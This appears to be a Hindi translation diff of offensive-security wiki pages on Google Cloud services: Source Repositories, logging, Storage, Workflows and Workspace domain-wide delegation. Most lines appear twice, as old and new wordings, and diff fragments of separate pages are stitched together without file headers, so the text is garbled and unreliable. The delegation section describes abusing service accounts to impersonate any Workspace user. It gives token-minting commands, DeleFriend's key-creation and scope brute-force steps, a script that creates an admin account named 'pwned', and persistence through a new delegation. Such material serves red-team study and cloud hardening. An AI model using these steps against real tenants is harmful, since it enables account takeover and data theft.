6. **मिरर समर्थन**: आपको Cloud Source Repositories को GitHub या Bitbucket पर होस्ट क रिपॉजिटरी के साथ कनेक्ट करने की अनुमति देता है, स्वचालित समन्वय सक्षम करता है और आपक सभी रिपॉजिटरी का एकीकृत दृश्य प्रदान करता है।
6. **मिरर समर्थन**: आपको Cloud Source Repositories को GitHub या Bitbucket पर होस्ट किए रिपॉजिटरी के साथ कनेक्ट करने की अनुमति देता है, स्वचालित समन्वय सक्षम करता है और आपक सभी रिपॉजिटरी का एकीकृत दृश्य प्रदान करता है।
### OffSec information <a href="#reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
### OffSec जानकारी <a href="#reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
- एक प्रोजेक्ट के अंदर स्रोत रिपॉजिटरी कॉन्फ़िगरेशन में एक **सेवा खाता** होगा जिसका उपयोग Cloud Pub/Sub संदेशों को प्रकाशित करने के लिए किया जाएगा। डिफ़ॉल्ट रूप से उपयोग िया जाने वाला **कंप्यूट SA** है। हालाँकि, **मुझे नहीं लगता कि इसका टोकन चोरी करना संभव है** क्योंकि यह बैकग्राउंड में निष्पादित हो रहा है।
- एक प्रोजेक्ट के अंदर स्रोत रिपॉजिटरी कॉन्फ़िगरेशन में एक **सेवा खाता** होगा जिसका उपयोग Cloud Pub/Sub संदेशों को प्रकाशित करने के लिए किया जाएगा। उपयोग में लिया जाने वाला डिफ़ॉल्ट **Compute SA** है। हालाँकि, **मुझे नहीं लगता कि इसका टोकन Source Repositories से चुराना संभव है** क्योंकि यह बैकग्राउंड में निष्पादित हो रहा है।
- GCP Cloud Source Repositories वेब कंसोल ([https://source.cloud.google.com/](https://source.cloud.google.com/)) के अंदर कोड देखने के लिए, आपको कोड को **डिफ़ॉल्ट रूप से मास्टर ब्रांच के अंदर होना चाहिए**
- आप **Github** या **Bitbucket** से एक रेपो की ओर इशारा करते हुए **एक मिरर क्लाउड रिपॉजिटरी** भी **बना सकते हैं** (उन प्लेटफार्मों को एक्सेस देते हुए)।
- **GCP के अंदर कोड और डिबग करना संभव है**
- डिफ़ॉल्ट रूप से, Source Repositories **कमिट में निजी कुंजियों को पुश करने से रोकता है**, लेकिन इसे अक्षम किया जा सकता है।
### Open In Cloud Shell
### क्लाउड शेल में खोलें
Cloud Shell में रिपॉजिटरी खोलना संभव है, ऐसा प्रॉम्प्ट दिखाई देगा:
क्लाउड शेल में रिपॉजिटरी खोलना संभव है, ऐसा प्रॉम्प्ट दिखाई देगा:
<figure><img src="../../../images/image (325).png" alt=""><figcaption></figcaption></figure>
यह आपको Cloud Shell में कोड और डिबग करने की अनुमति देगा (जो cloudshell को समझौता कर सकता है)।
यह आपको क्लाउड शेल में कोड और डिबग करने की अनुमति देगा (जो क्लाउडशेल को समझौता कर सकता है)।
### Enumeration
### एनमरेशन
```bash
# Repos enumeration
gcloud source repos list #Get names and URLs
@@ -6,7 +6,7 @@
[**Stackdriver**](https://cloud.google.com/stackdriver/) को Google द्वारा प्रदान की गई एक व्यापक अवसंरचना **लॉगिंग सूट** के रूप में मान्यता प्राप्त है। इसमें संवेदनशील डेटा को कैप्चर करने की क्षमता है, जैसे कि syslog, जो Compute Instances के अंदर निष्पादित व्यक्तिगत कमांड की रिपोर्ट करता है। इसके अलावा, यह लोड बैलेंसर या App Engine अनुप्रयोगों को भेजे गए HTTP अनुरोधों, VPC संचार के भीतर नेटवर्क पैकेट मेटाडेटा, और अधिक की निगरानी करता है।
एक Compute Instance के लिए, संबंधित सेवा खाते को केवल **WRITE** अनुमतियों की आवश्यकता होती है ताकि इंस्टेंस गतिविधियों क लॉगिंग किया जा सके। फिर भी, यह संभव है कि एक व्यवस्थापक **अनजाने में** सेवा खाते को **READ** और **WRITE** दोनों अनुमतियाँ प्रदान कर दे। ऐसे मामलों में, संवेदनशील जानकारी के लिए लॉग की जांच की जा सकती है।
एक Compute Instance के लिए, संबंधित सेवा खाते को केवल **WRITE** अनुमतियों की आवश्यकता होती है ताकि इंस्टेंस गतिविधियों क लॉगिंग क जा सके। फिर भी, यह संभव है कि एक व्यवस्थापक **अनजाने में** सेवा खाते को **READ** और **WRITE** दोनों अनुमतियाँ प्रदान कर दे। ऐसे मामलों में, संवेदनशील जानकारी के लिए लॉग की जांच की जा सकती है।
इस कार्य को पूरा करने के लिए, [gcloud logging](https://cloud.google.com/sdk/gcloud/reference/logging/) उपयोगिता एक सेट उपकरण प्रदान करती है। प्रारंभ में, आपके वर्तमान प्रोजेक्ट में मौजूद लॉग के प्रकारों की पहचान करना अनुशंसित है।
```bash
@@ -4,30 +4,30 @@
## Storage
Google Cloud Platform (GCP) Storage एक **क्लाउड-आधारित स्टोरेज समाधान** है जो असंरचित डेटा के लिए अत्यधिक टिकाऊ और उपलब्ध वस्तु भंडारण प्रदान करता है। यह **प्रदर्शन, उपलब्धता और लागत** के आधार पर विभिन्न स्टोरेज क्लासेस प्रदान करता है, जिसमें Standard, Nearline, Coldline, और Archive शामिल हैं। GCP Storage **लाइफसाइकिल नीतियों, संस्करणन, और एक्सेस नियंत्रण** जैसी उन्नत सुविधाएँ भी प्रदान करता है ताकि डेटा को प्रभावी ढंग से प्रबंधित और सुरक्षित किया जा सके।
Google Cloud Platform (GCP) Storage एक **क्लाउड-आधारित स्टोरेज समाधान** है जो असंरचित डेटा के लिए अत्यधिक टिकाऊ और उपलब्ध वस्तु भंडारण प्रदान करता है। यह प्रदर्शन, उपलब्धता और लागत के आधार पर **विभिन्न स्टोरेज क्लासेस** प्रदान करता है, जिसमें Standard, Nearline, Coldline, और Archive शामिल हैं। GCP Storage उन्नत सुविधाएँ भी प्रदान करता है जैसे कि **लाइफसाइकिल नीतियाँ, संस्करणन, और एक्सेस नियंत्रण** ताकि डेटा को प्रभावी ढंग से प्रबंधित और सुरक्षित किया जा सके।
बकेट को एक क्षेत्र, 2 क्षेत्रों या **मल्टी-रीजन (डिफ़ॉल्ट)** में संग्रहीत किया जा सकता है।
### Storage Types
- **Standard Storage**: यह डिफ़ॉल्ट स्टोरेज विकल्प है जो **अक्सर एक्सेस किए जाने वाले डेटा के लिए उच्च-प्रदर्शन, कम-लेटेंसी एक्सेस प्रदान करता है**। यह वेबसाइट सामग्री, मीडिया स्ट्रीमिंग, और डेटा एनालिटिक्स पाइपलाइनों की मेज़बानी सहित कई उपयोग मामलों के लिए उपयुक्त है।
- **Nearline Storage**: यह स्टोरेज क्लास **कम स्टोरेज लागत** और **थोड़ी अधिक एक्सेस लागत** प्रदान करता है। यह कम बार एक्सेस किए जाने वाले डेटा के लिए अनुकूलित है, जिसमें न्यूनतम स्टोरेज अवधि 30 दिन है। यह बैकअप और आर्काइव के उद्देश्यों के लिए आदर्श है।
- **Coldline Storage**: यह स्टोरेज क्लास **कम बार एक्सेस किए जाने वाले डेटा के दीर्घकालिक भंडारण** के लिए अनुकूलित है, जिसमें न्यूनतम स्टोरेज अवधि 90 दिन है। यह Nearline Storage की तुलना में **कम स्टोरेज लागत** प्रदान करता है, लेकिन **उच्च एक्सेस लागत** के साथ।
- **Archive Storage**: यह स्टोरेज क्लास ठंड डेटा के लिए डिज़ाइन की गई है जिसे **बहुत कम बार एक्सेस किया जाता है**, जिसमें न्यूनतम स्टोरेज अवधि 365 दिन है। यह सभी GCP स्टोरेज विकल्पों में **सबसे कम स्टोरेज लागत** प्रदान करता है लेकिन **सबसे अधिक एक्सेस लागत** के साथ। यह डेटा के दीर्घकालिक संरक्षण के लिए उपयुक्त है जिसे अनुपालन या नियामक कारणों से संग्रहीत करने की आवश्यकता होती है।
- **Autoclass**: यदि आप **नहीं जानते कि आप डेटा को कितना एक्सेस करने वाले हैं**, तो आप Autoclass का चयन कर सकते हैं और GCP **स्वचालित रूप से आपके लिए स्टोरेज का प्रकार बदल देगा ताकि लागत को कम किया जा सके**
- **Standard Storage**: यह डिफ़ॉल्ट स्टोरेज विकल्प है जो **बार-बार एक्सेस किए गए डेटा के लिए उच्च-प्रदर्शन, कम-लेटेंसी एक्सेस प्रदान करता है**। यह वेबसाइट सामग्री, मीडिया स्ट्रीमिंग, और डेटा एनालिटिक्स पाइपलाइनों की मेज़बानी सहित कई उपयोग मामलों के लिए उपयुक्त है।
- **Nearline Storage**: यह स्टोरेज क्लास **कम स्टोरेज लागत** और **थोड़ी अधिक एक्सेस लागत** प्रदान करता है। यह कम बार एक्सेस किए गए डेटा के लिए अनुकूलित है, जिसमें न्यूनतम स्टोरेज अवधि 30 दिन है। यह बैकअप और आर्काइव के उद्देश्यों के लिए आदर्श है।
- **Coldline Storage**: यह स्टोरेज क्लास **कम बार एक्सेस किए गए डेटा के दीर्घकालिक भंडारण** के लिए अनुकूलित है, जिसमें न्यूनतम स्टोरेज अवधि 90 दिन है। यह Nearline Storage की तुलना में **कम स्टोरेज लागत** प्रदान करता है, लेकिन **उच्च एक्सेस लागत** के साथ।
- **Archive Storage**: यह स्टोरेज क्लास ठंड डेटा के लिए डिज़ाइन किया गया है जिसे **बहुत कम बार एक्सेस किया जाता है**, जिसमें न्यूनतम स्टोरेज अवधि 365 दिन है। यह सभी GCP स्टोरेज विकल्पों में **सबसे कम स्टोरेज लागत** प्रदान करता है लेकिन **सबसे अधिक एक्सेस लागत** के साथ। यह डेटा के दीर्घकालिक संरक्षण के लिए उपयुक्त है जिसे अनुपालन या नियामक कारणों से संग्रहीत करने की आवश्यकता होती है।
- **Autoclass**: यदि आप **नहीं जानते कि आप डेटा को कितना एक्सेस करने वाले हैं** तो आप Autoclass का चयन कर सकते हैं और GCP **स्वचालित रूप से आपके लिए स्टोरेज का प्रकार बदल देगा ताकि लागत को कम किया जा सके**
### Access Control
**डिफ़ॉल्ट** रूप से, **IAM** के माध्यम से एक्सेस को नियंत्रित करने की **सिफारिश की जाती है**, लेकिन **ACLs के उपयोग को सक्षम करना** भी संभव है।\
यदि आप केवल IAM (डिफ़ॉल्ट) का उपयोग करने का चयन करते हैं और **90 दिन बीत जाते हैं**, तो आप बकेट के लिए **ACLs को सक्षम नहीं कर पाएंगे**
**डिफ़ॉल्ट** रूप से, एक्सेस को **IAM** के माध्यम से नियंत्रित करने की **सिफारिश की जाती है**, लेकिन **ACLs** के उपयोग को **सक्षम करना भी संभव है**।\
यदि आप केवल IAM (डिफ़ॉल्ट) का उपयोग करने का चयन करते हैं और **90 दिन बीत जाते हैं**, तो आप **बकेट के लिए ACLs सक्षम नहीं कर पाएंगे**
### Versioning
संस्करणन को सक्षम करना संभव है, यह **बकेट के अंदर फ़ाइल के पुराने संस्करणों को सहेजता है**। यह **आपके द्वारा बनाए रखने के लिए संस्करणों की संख्या** को कॉन्फ़िगर करना संभव है और यहां तक कि **आप कितने समय तक** **गैर-प्रचलित** संस्करणों (पुराने संस्करणों) को जीवित रखना चाहते हैं। **Standard प्रकार के लिए 7 दिन** की सिफारिश की जाती है।
संस्करणन को सक्षम करना संभव है, यह **बकेट के अंदर फ़ाइल के पुराने संस्करणों को सहेजता है**। यह **संस्करणों की संख्या को कॉन्फ़िगर करना संभव है जिसे आप रखना चाहते हैं** और यहां तक कि **कितने समय तक** आप **गैर-प्रचलित** संस्करणों (पुराने संस्करणों) को जीवित रखना चाहते हैं। **Standard प्रकार के लिए 7 दिन** की सिफारिश की जाती है।
**गैर-प्रचलित संस्करण का मेटाडेटा रखा जाता है**। इसके अलावा, **गैर-प्रचलित संस्करणों के ACLs भी रखे जाते हैं**, इसलिए पुराने संस्करणों के ACLs वर्तमान संस्करण से भिन्न हो सकते हैं।
[**docs**](https://cloud.google.com/storage/docs/object-versioning) में और जानें।
[**docs**](https://cloud.google.com/storage/docs/object-versioning) में अधिक जानें।
### Retention Policy
@@ -41,7 +41,7 @@ Google Cloud Platform (GCP) Storage एक **क्लाउड-आधारि
### Public Access
यह **बाहरी उपयोगकर्ताओं** (GCP में लॉग इन किए हुए या नहीं) को **बकेट की सामग्री तक पहुंच प्रदान करना संभव है**।\
डिफ़ॉल्ट रूप से, जब एक बकेट बनाया जाता है, तो इसमें **सार्वजनिक रूप से बकेट को उजागर करने का विकल्प बंद** होगा, लेकिन पर्याप्त अनुमतियों के साथ इसे बदला जा सकता है।
डिफ़ॉल्ट रूप से, जब एक बकेट बनाया जाता है, तो इसमें **सार्वजनिक रूप से उजागर करने का विकल्प बंद** होगा, लेकिन पर्याप्त अनुमतियों के साथ इसे बदला जा सकता है।
बकेट तक पहुंचने के लिए **URL का प्रारूप** है **`https://storage.googleapis.com/<bucket-name>` या `https://<bucket_name>.storage.googleapis.com`** (दोनों मान्य हैं)।
@@ -49,17 +49,17 @@ Google Cloud Platform (GCP) Storage एक **क्लाउड-आधारि
HMAC कुंजी एक प्रकार की _प्रमाणपत्र_ है और इसे **Cloud Storage में एक सेवा खाते या उपयोगकर्ता खाते के साथ जोड़ा जा सकता है**। आप HMAC कुंजी का उपयोग _हस्ताक्षर_ बनाने के लिए करते हैं जो फिर Cloud Storage के लिए अनुरोधों में शामिल होते हैं। हस्ताक्षर दिखाते हैं कि **दिया गया अनुरोध उपयोगकर्ता या सेवा खाते द्वारा अधिकृत है**
HMAC कुंजियों में दो मुख्य भाग होते हैं, एक _एक्सेस आईडी_ और एक _गुप्त_
HMAC कुंज में दो मुख्य भाग होते हैं, एक _एक्सेस ID_ और एक _गुप्त_
- **Access ID**: एक अल्फ़ान्यूमेरिक स्ट्रिंग जो एक विशिष्ट सेवा या उपयोगकर्ता खाते से जुड़ी होती है। जब इसे सेवा खाते से जोड़ा जाता है, तो स्ट्रिंग की लंबाई 61 वर्ण होती है, और जब इसे उपयोगकर्ता खाते से जोड़ा जाता है, तो स्ट्रिंग की लंबाई 24 वर्ण होती है। निम्नलिखित एक एक्सेस आईडी का उदाहरण दिखाता है:
- **Access ID**: एक अल्फ़ान्यूमेरिक स्ट्रिंग जो एक विशिष्ट सेवा या उपयोगकर्ता खाते से जुड़ी होती है। जब इसे सेवा खाते से जोड़ा जाता है, तो स्ट्रिंग की लंबाई 61 वर्ण होती है, और जब इसे उपयोगकर्ता खाते से जोड़ा जाता है, तो स्ट्रिंग की लंबाई 24 वर्ण होती है। निम्नलिखित एक एक्सेस ID का उदाहरण दिखाता है:
`GOOGTS7C7FUP3AIRVJTE2BCDKINBTES3HC2GY5CBFJDCQ2SYHV6A6XXVTJFSA`
- **Secret**: एक 40-वर्ण की बेस-64 एन्कोडेड स्ट्रिंग जो एक विशिष्ट एक्सेस आईडी से जुड़ी होती है। एक गुप्त एक पूर्व-शेयर की गई कुंजी है जिसे केवल आप और Cloud Storage जानते हैं। आप अपने गुप्त का उपयोग प्रमाणीकरण प्रक्रिया के हिस्से के रूप में हस्ताक्षर बनाने के लिए करते हैं। निम्नलिखित एक गुप्त का उदाहरण दिखाता है:
- **Secret**: एक 40-वर्ण का Base-64 एन्कोडेड स्ट्रिंग जो एक विशिष्ट एक्सेस ID से जुड़ी होती है। एक गुप्त एक पूर्व-शेयर की गई कुंजी है जिसे केवल आप और Cloud Storage जानते हैं। आप अपने गुप्त का उपयोग प्रमाणीकरण प्रक्रिया के हिस्से के रूप में हस्ताक्षर बनाने के लिए करते हैं। निम्नलिखित एक गुप्त का उदाहरण दिखाता है:
`bGoa+V7g/yqDXvKRqq+JTFn4uQZbPiQJo4pf9RzJ`
दोनों **एक्सेस आईडी और गुप्त एक HMAC कुंजी की अद्वितीय पहचान करते हैं**, लेकिन गुप्त बहुत अधिक संवेदनशील जानकारी है, क्योंकि इसका उपयोग **हस्ताक्षर बनाने** के लिए किया जाता है।
दोनों **एक्सेस ID और गुप्त एक HMAC कुंजी की अद्वितीय पहचान करते हैं**, लेकिन गुप्त बहुत अधिक संवेदनशील जानकारी है, क्योंकि इसका उपयोग **हस्ताक्षर बनाने** के लिए किया जाता है।
### Enumeration
```bash
@@ -123,7 +123,7 @@ list_bucket_objects('<storage-name>')
```
### विशेषाधिकार वृद्धि
अगली पृष्ठ पर आप देख सकते हैं कि कैसे **स्टोरेज अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाए जाएं**:
अगली पृष्ठ पर आप **विशेषाधिकार बढ़ाने के लिए स्टोरेज अनुमतियों का दुरुपयोग कैसे करें** देख सकते हैं:
{{#ref}}
../gcp-privilege-escalation/gcp-storage-privesc.md
@@ -135,7 +135,7 @@ list_bucket_objects('<storage-name>')
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/
{{#endref}}
### पोस्ट शोषण
### पोस्ट एक्सप्लोइटेशन
{{#ref}}
../gcp-post-exploitation/gcp-storage-post-exploitation.md
@@ -4,7 +4,7 @@
## Basic Information
**Google Cloud Platform (GCP) Workflows** एक सेवा है जो आपको **कई चरणों** में कार्यों को स्वचालित करने में मदद करती है जो Google Cloud सेवाओं और अन्य वेब-आधारित सेवाओं को शामिल करत हैं। इसे एक **क्रियाओं के अनुक्रम** के रूप में सोचें जो एक बार ट्रिगर होने पर अपने आप चलती हैं। आप इन अनुक्रमों को, जिन्हें वर्कफ़्लोज़ कहा जाता है, इस तरह से डिज़ाइन कर सकते हैं कि वे डेटा को संसाधित करें, सॉफ़्टवेयर तैनात करें, या क्लाउड संसाधनों का प्रबंधन करें बिना प्रत्येक चरण की मैन्युअल निगरानी किए।
**Google Cloud Platform (GCP) Workflows** एक सेवा है जो आपको **कई चरणों** में कार्यों को स्वचालित करने में मदद करती है जो Google Cloud सेवाओं और अन्य वेब-आधारित सेवाओं को शामिल करत हैं। इसे एक **क्रियाओं के अनुक्रम** के रूप में सोचें जो एक बार ट्रिगर होने पर अपने आप चलती हैं। आप इन अनुक्रमों को, जिन्हें वर्कफ़्लोज़ कहा जाता है, इस तरह से डिज़ाइन कर सकते हैं कि वे डेटा संसाधित करें, सॉफ़्टवेयर तैनात करें, या क्लाउड संसाधनों का प्रबंधन करें बिना प्रत्येक चरण की मैन्युअल निगरानी किए।
### Encryption
@@ -9,7 +9,7 @@
Google Workspace का डोमेन-वाइड डेलीगेशन एक पहचान वस्तु, या तो एक **बाहरी ऐप** जो Google Workspace मार्केटप्लेस से है या एक आंतरिक **GCP सेवा खाता**, को **उपयोगकर्ताओं की ओर से Workspace में डेटा तक पहुंचने** की अनुमति देता है।
> [!NOTE]
> इसका मतलब यह है कि **GCP परियोजनाओं** के भीतर **सेवा खाते** एक संगठन के **Workspace उपयोगकर्ताओं** की नकल करने में सक्षम हो सकते हैं (या यहां तक कि किसी अलग संगठन के भी)।
> इसका मतलब यह है कि **GCP परियोजनाओं** के भीतर **सेवा खाते** एक संगठन के Workspace उपयोगकर्ताओं की **नकल** कर सकते हैं (या यहां तक कि किसी अन्य से भी)।
इसकी कार्यप्रणाली के बारे में अधिक जानकारी के लिए देखें:
@@ -19,7 +19,7 @@ gcp-understanding-domain-wide-delegation.md
### मौजूदा डेलीगेशन का समझौता
यदि एक हमलावर ने **GCP पर कुछ पहुंच का समझौता किया** और **कंपनी क एक मान्य Workspace उपयोगकर्ता ईमेल** (अधिमानतः **सुपर एडमिन**) जानता है, तो वह **सभी परियोजनाओं की सूची बना सकता है** जिन तक उसे पहुंच है, **परियोजनाओं के सभी SAs की सूची बना सकता है**, देख सकता है कि उसे **कौन से सेवा खातों तक पहुंच है**, और **हर SA के साथ इन सभी चरणों को दोहरा सकता है** जिसे वह नकल कर सकता है।\
यदि एक हमलावर ने **GCP पर कुछ पहुंच का समझौता किया** और **कंपनी क एक मान्य Workspace उपयोगकर्ता का ईमेल** (अधिमानतः **सुपर एडमिन**) जानता है, तो वह **सभी परियोजनाओं की सूची बना सकता है** जिन तक उसे पहुंच है, **परियोजनाओं के सभी SAs की सूची बना सकता है**, यह जांच सकता है कि उसे **कौन से सेवा खातों तक पहुंच है**, और **हर SA के साथ इन सभी चरणों को दोहरा सकता है** जिसे वह नकल कर सकता है।\
उसके पास **सभी सेवा खातों की एक सूची** और **Workspace** **ईमेल** की सूची होने पर, हमलावर **प्रत्येक सेवा खाते के साथ उपयोगकर्ता की नकल करने** की कोशिश कर सकता है।
> [!CAUTION]
@@ -28,7 +28,7 @@ gcp-understanding-domain-wide-delegation.md
#### [GCP जनरेट डेलीगेशन टोकन](https://github.com/carlospolop/gcp_gen_delegation_token)
यह सरल स्क्रिप्ट **नियुक्त उपयोगकर्ता के रूप में एक OAuth टोकन उत्पन्न करेगी** जिसे आप फिर अन्य Google APIs तक पहुंचने के लिए उपयोग कर सकते हैं या बिना `gcloud` के:
यह सरल स्क्रिप्ट **नियुक्त उपयोगकर्ता के रूप में एक OAuth टोकन उत्पन्न करेगी** जिसे आप फिर अन्य Google APIs तक पहुंचने के लिए उपयोग कर सकते हैं, चाहे `gcloud` के साथ हो या बिना:
```bash
# Impersonate indicated user
python3 gen_delegation_token.py --user-email <user-email> --key-file <path-to-key-file>
@@ -38,20 +38,20 @@ python3 gen_delegation_token.py --user-email <user-email> --key-file <path-to-ke
```
#### [**DeleFriend**](https://github.com/axon-git/DeleFriend)
यह एक उपकरण है जो निम्नलिखित चरणों का पालन करके हमला कर सकता है:
यह एक उपकरण है जो निम्नलिखित चरणों का पालन करके हमले को अंजाम दे सकता है:
1. **GCP प्रोजेक्ट्स की गणना करें** Resource Manager API का उपयोग करके।
2. प्रत्येक प्रोजेक्ट संसाधन पर पुनरावृत्ति करें, और **GCP सेवा खाता संसाधनों की गणना करें** जिन तक प्रारंभिक IAM उपयोगकर्ता की पहुंच है _GetIAMPolicy_ का उपयोग करके।
3. **प्रत्येक सेवा खाता भूमिका पर पुनरावृत्ति करें**, और लक्षित सेवा खाता संसाधन पर _**serviceAccountKeys.create**_ अनुमति के साथ अंतर्निहित, बुनियादी, और कस्टम भूमिकाएँ खोजें। यह ध्यान रखना चाहिए कि संपादक भूमिका स्वाभाविक रूप से इस अनुमति को रखती है।
4. प्रत्येक सेवा खाता संसाधन के लिए **नया `KEY_ALG_RSA_2048`** निजी कुंजी बनाएं जो IAM नीति में प्रासंगिक अनुमति के साथ पाया गया है।
5. **प्रत्येक नए सेवा खाते पर पुनरावृत्ति करें और इसके लिए एक `JWT`** **ऑब्जेक्ट** बनाएं जो SA निजी कुंजी क्रेडेंशियल्स और एक OAuth स्कोप से बना है। _JWT_ ऑब्जेक्ट को बनाने की प्रक्रिया **oauth_scopes.txt** सूची से **OAuth स्कोप के सभी मौजूदा संयोजनों पर पुनरावृत्ति करेगी**, ताकि सभी प्रतिनिधित्व संभावनाओं को खोजा जा सके। सूची **oauth_scopes.txt** को उन सभी OAuth स्कोप के साथ अपडेट किया गया है जो हमने Workspace पहचानियों का दुरुपयोग करने के लिए प्रासंगिक पाया है।
6. `_make_authorization_grant_assertion` विधि एक t**arget workspace user** को घोषित करने की आवश्यकता को प्रकट करती है, जिसे _subject_ कहा जाता है, JWTs को DWD के तहत उत्पन्न करने के लिए। जबकि यह एक विशिष्ट उपयोगकर्ता की आवश्यकता प्रतीत हो सकती है, यह समझना महत्वपूर्ण है कि **DWD एक डोमेन के भीतर हर पहचान को प्रभावित करता है**। परिणामस्वरूप, **किसी भी डोमेन उपयोगकर्ता** के लिए JWT बनाना उस डोमेन में सभी पहचानों को प्रभावित करता है, जो हमारे संयोजन गणना जांच के अनुरूप है। सीधे शब्दों में कहें, एक मान्य Workspace उपयोगकर्ता आगे बढ़ने के लिए पर्याप्त है।\
इस उपयोगकर्ता को DeleFriend के _config.yaml_ फ़ाइल में परिभाषित किया जा सकता है। यदि लक्षित कार्यक्षेत्र उपयोगकर्ता पहले से ज्ञात नहीं है, तो उपकरण GCP प्रोजेक्ट्स पर भूमिकाओं के साथ डोमेन उपयोगकर्ताओं को स्कैन करके मान्य कार्यक्षेत्र उपयोगकर्ताओं की स्वचालित पहचान की सुविधा प्रदान करता है। यह फिर से ध्यान देने योग्य है कि JWTs डोमेन-विशिष्ट होते हैं और हर उपयोगकर्ता के लिए उत्पन्न नहीं होते; इसलिए, स्वचालित प्रक्रिया प्रति डोमेन एक अद्वितीय पहचान को लक्षित करती है।
2. प्रत्येक प्रोजेक्ट संसाधन पर इटरेट करें, और **GCP सेवा खाता संसाधनों की गणना करें** जिन तक प्रारंभिक IAM उपयोगकर्ता की पहुंच है _GetIAMPolicy_ का उपयोग करके।
3. **प्रत्येक सेवा खाता भूमिका पर इटरेट करें**, और लक्षित सेवा खाता संसाधन पर _**serviceAccountKeys.create**_ अनुमति के साथ अंतर्निहित, बुनियादी, और कस्टम भूमिकाएँ खोजें। यह ध्यान रखना चाहिए कि संपादक भूमिका स्वाभाविक रूप से इस अनुमति को रखती है।
4. प्रत्येक सेवा खाता संसाधन के लिए एक **नया `KEY_ALG_RSA_2048`** निजी कुंजी बनाएं जो IAM नीति में प्रासंगिक अनुमति के साथ पाया गया है।
5. **प्रत्येक नए सेवा खाते पर इटरेट करें और इसके लिए एक `JWT`** **ऑब्जेक्ट** बनाएं जो SA निजी कुंजी क्रेडेंशियल्स और एक OAuth स्कोप से बना है। एक नया _JWT_ ऑब्जेक्ट बनाने की प्रक्रिया **oauth_scopes.txt** सूची से सभी मौजूदा OAuth स्कोप के संयोजनों पर **इटरेट** करेगी, ताकि सभी प्रतिनिधित्व संभावनाओं को खोजा जा सके। सूची **oauth_scopes.txt** को उन सभी OAuth स्कोप के साथ अपडेट किया गया है जो हमने Workspace पहचानियों का दुरुपयोग करने के लिए प्रासंगिक पाया है।
6. `_make_authorization_grant_assertion` विधि एक लक्षित कार्यक्षेत्र उपयोगकर्ता, जिसे _subject_ के रूप में संदर्भित किया गया है, को JWTs उत्पन्न करने के लिए घोषित करने की आवश्यकता को प्रकट करती है। जबकि यह एक विशिष्ट उपयोगकर्ता की आवश्यकता प्रतीत हो सकती है, यह समझना महत्वपूर्ण है कि **DWD एक डोमेन के भीतर हर पहचान को प्रभावित करता है**। परिणामस्वरूप, **किसी भी डोमेन उपयोगकर्ता** के लिए JWT बनाना उस डोमेन में सभी पहचानों को प्रभावित करता है, जो हमारे संयोजन गणना जांच के अनुरूप है। सीधे शब्दों में कहें, एक मान्य Workspace उपयोगकर्ता आगे बढ़ने के लिए पर्याप्त है।\
इस उपयोगकर्ता को DeleFriend के _config.yaml_ फ़ाइल में परिभाषित किया जा सकता है। यदि लक्षित कार्यक्षेत्र उपयोगकर्ता पहले से ज्ञात नहीं है, तो उपकरण GCP प्रोजेक्ट्स पर भूमिकाओं के साथ डोमेन उपयोगकर्ताओं को स्कैन करके मान्य कार्यक्षेत्र उपयोगकर्ताओं की स्वचालित पहचान की सुविधा प्रदान करता है। यह ध्यान रखना महत्वपूर्ण है (फिर से) कि JWTs डोमेन-विशिष्ट होते हैं और हर उपयोगकर्ता के लिए उत्पन्न नहीं होते; इसलिए, स्वचालित प्रक्रिया प्रति डोमेन एक अद्वितीय पहचान को लक्षित करती है।
7. **प्रत्येक JWT के लिए एक नया बियरर एक्सेस टोकन की गणना करें और टोकन को tokeninfo API के खिलाफ मान्य करें।**
#### [Gitlab का Python स्क्रिप्ट](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_misc/-/blob/master/gcp_delegation.py)
Gitlab ने [यह Python स्क्रिप्ट](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_misc/blob/master/gcp_delegation.py) बनाई है जो दो चीजें कर सकती है - उपयोगकर्ता निर्देशिका क सूची बनाना और SA क्रेडेंशियल्स और अनुकरण करने के लिए उपयोगकर्ता के साथ एक नया प्रशासनिक खाता बनाना। यहाँ आप इसका उपयोग कैसे करेंगे:
Gitlab ने [यह Python स्क्रिप्ट](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_misc/blob/master/gcp_delegation.py) बनाई है जो दो चीजें कर सकती है - उपयोगकर्ता निर्देशिका क सूचीबद्ध करना और SA क्रेडेंशियल्स और अनुकरण करने के लिए उपयोगकर्ता के साथ एक नया प्रशासनिक खाता बनाना। यहाँ बताया गया है कि आप इसका उपयोग कैसे करेंगे:
```bash
# Install requirements
pip install --upgrade --user oauth2client
@@ -73,32 +73,32 @@ pip install --upgrade --user oauth2client
--domain target-org.com \
--account pwned
```
### Create a new delegation (Persistence)
### एक नई प्रतिनिधित्व बनाएँ (Persistence)
It's possible to **check Domain Wide Delegations in** [**https://admin.google.com/u/1/ac/owl/domainwidedelegation**](https://admin.google.com/u/1/ac/owl/domainwidedelegation)**.**
यह संभव है कि **Domain Wide Delegations की जांच करें** [**https://admin.google.com/u/1/ac/owl/domainwidedelegation**](https://admin.google.com/u/1/ac/owl/domainwidedelegation)**.**
An attacker with the ability to **create service accounts in a GCP project** and **super admin privilege to GWS could create a new delegation allowing SAs to impersonate some GWS users:**
एक हमलावर जिसके पास **GCP प्रोजेक्ट में सेवा खातों को बनाने की क्षमता** और **GWS के लिए सुपर एडमिन विशेषाधिकार** है, वह एक नई प्रतिनिधित्व बना सकता है जो SAs को कुछ GWS उपयोगकर्ताओं का अनुकरण करने की अनुमति देती है:
1. **Generating a New Service Account and Corresponding Key Pair:** On GCP, new service account resources can be produced either interactively via the console or programmatically using direct API calls and CLI tools. This requires the **role `iam.serviceAccountAdmin`** or any custom role equipped with the **`iam.serviceAccounts.create`** **permission**. Once the service account is created, we'll proceed to generate a **related key pair** (**`iam.serviceAccountKeys.create`** permission).
2. **Creation of new delegation**: It's important to understand that **only the Super Admin role possesses the capability to set up global Domain-Wide delegation in Google Workspace** and Domain-Wide delegation **cannot be set up programmatically,** It can only be created and adjusted **manually** through the Google Workspace **console**.
- The creation of the rule can be found under the page **API controls → Manage Domain-Wide delegation in Google Workspace Admin console**.
3. **Attaching OAuth scopes privilege**: When configuring a new delegation, Google requires only 2 parameters, the Client ID, which is the **OAuth ID of the GCP Service Account** resource, and **OAuth scopes** that define what API calls the delegation requires.
